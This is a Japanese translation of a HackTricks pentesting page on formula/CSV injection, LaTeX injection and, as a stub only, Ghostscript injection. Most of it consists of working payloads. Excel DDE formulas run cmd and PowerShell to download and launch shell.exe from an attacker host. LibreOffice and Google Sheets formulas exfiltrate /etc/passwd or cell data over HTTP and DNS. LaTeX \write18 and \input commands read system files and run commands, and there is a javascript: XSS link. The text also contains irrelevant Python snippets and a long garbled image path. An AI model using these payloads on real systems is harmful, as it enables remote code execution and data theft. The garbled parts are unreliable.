hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

20 KiB
Raw Blame History

フォーミュラ/CSV/ドキュメント/LaTeX/GhostScriptインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


フォーミュラインジェクション

情報

もし、入力CSVファイルまたはExcelで開かれる可能性のある他のファイル反映されている場合、Excelシート内のユーザーがファイルを開いたり、リンクをクリックしたりすると、Excel フォーミュラを実行することができるかもしれません。

{% hint style="danger" %} 現在、Excelは外部からの読み込みを警告(何度も)し、悪意のある行動を防ぐためにユーザーに警告します。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 {% endhint %}

ワードリスト

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

ハイパーリンク

次の例は、最終的なExcelシートからコンテンツを外部流出させ、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックするおよび警告プロンプトを受け入れる必要があります。

例はhttps://payatu.com/csv-injection-basic-to-exploitから取得されました。

学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師を侵害したいと考えています。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。
攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。

教師がCSVをエクスポートし、ハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。

エクスポートされたCSVファイルには、悪意のあるペイロードが含まれています。

攻撃者のWebサーバーには、学生の詳細がログインされています。

RCE

この例が動作するには、次の設定を有効にする必要があります:
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする
または、古いバージョンのExcelを使用します。

良いニュースは、このペイロードはファイルが開かれると自動的に実行されることです(ユーザーが警告を受け入れる場合)。

次のペイロードで電卓を実行することが可能です =cmd|' /C calc'!xxx

![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • ローカルの/etc/passwdファイルから1行目を読み取ります='file:///etc/passwd'#$passwd.A1
  • エクスフィルトします:=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • 複数の行をエクスフィルトします:=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNSエクスフィルト=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

DNSエクスフィルトペイロードの解析

  • file:///etc/passwd#$passwd.A19 ローカルの/etc/passwdファイルから19行目を読み取ります
  • ENCODEURL(file:///etc/passwd#$passwd.A19) 返されたデータをURLエンコードします
  • MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法ですFQDNの文字数制限は254文字であり、ラベルサブドメインの文字数制限は63文字です
  • SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) %URLエンコードの特殊文字のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) ファイルからの出力上記の処理が行われた後をFQDNと連結しますドメインの権限を持つホストにアクセスできる
  • WEBSERVICE この存在しないDNS名に対してリクエストを行い、その後、DNSの権威ある名前サーバー上のログを解析したりまたはtcpdumpなどを実行したりします。この名前サーバーは私たちが制御しています

Google Sheets OOBデータエクスフィルト

まず、いくつかの興味深い関数を紹介しましょう。

CONCATENATE: 文字列を連結します。

=CONCATENATE(A2:E2)

IMPORTXML: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: RSSまたはATOMフィードをインポートします。

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: HTMLページ内のテーブルやリストからデータをインポートします。

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: 指定されたスプレッドシートからセルの範囲をインポートします。

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

画像: セルに画像を挿入します。

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

LaTeXインジェクション

通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**pdflatex**を使用しています。
このプログラムは、コマンドの実行を無効に許可するために3つの主要な属性を使用します。

  • --no-shell-escape: \write18{command}構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。
  • --shell-restricted: --shell-escapeと同じですが、'安全な'事前定義のコマンドのセットに制限されますUbuntu 16.04では、リストは/usr/share/texmf/web2c/texmf.cnfにあります)。
  • --shell-escape: \write18{command}構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。

ただし、コマンドを実行する他の方法もありますので、RCEを回避するためには--shell-restrictedを使用することが非常に重要です。

ファイルの読み取り

[や$などのラッパーを使用してインジェクションを調整する必要がある場合があります。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

1行のファイルを読む

def read_file(file_path):
    with open(file_path, 'r') as file:
        content = file.readline()
    return content

この関数は、指定されたファイルパスのファイルを開き、1行だけ読み込んで返します。

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

複数行のファイルを読む

def read_file(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
        for line in lines:
            print(line.strip())

この関数は、指定されたファイルパスのファイルを読み込み、複数行の内容を表示します。

read_file('file.txt')

上記のコードは、file.txtというファイルの内容を読み込み、各行を表示します。

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

ファイルの書き込み

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

コマンドの実行

コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用します。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

もしLaTexのエラーが発生した場合は、ベース64を使用して結果を取得し、不正な文字を排除してください。

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

クロスサイトスクリプティング

@EdOverflowからの情報です。

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscriptインジェクション

TODO: https://blog.redteam-pentesting.de/2023/ghostscript-overview/から、より関連性の高い情報と技術を含む要約を作成する。

参考文献

脆弱性を見つけて修正を迅速に行うために、最も重要な脆弱性を見つけます。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥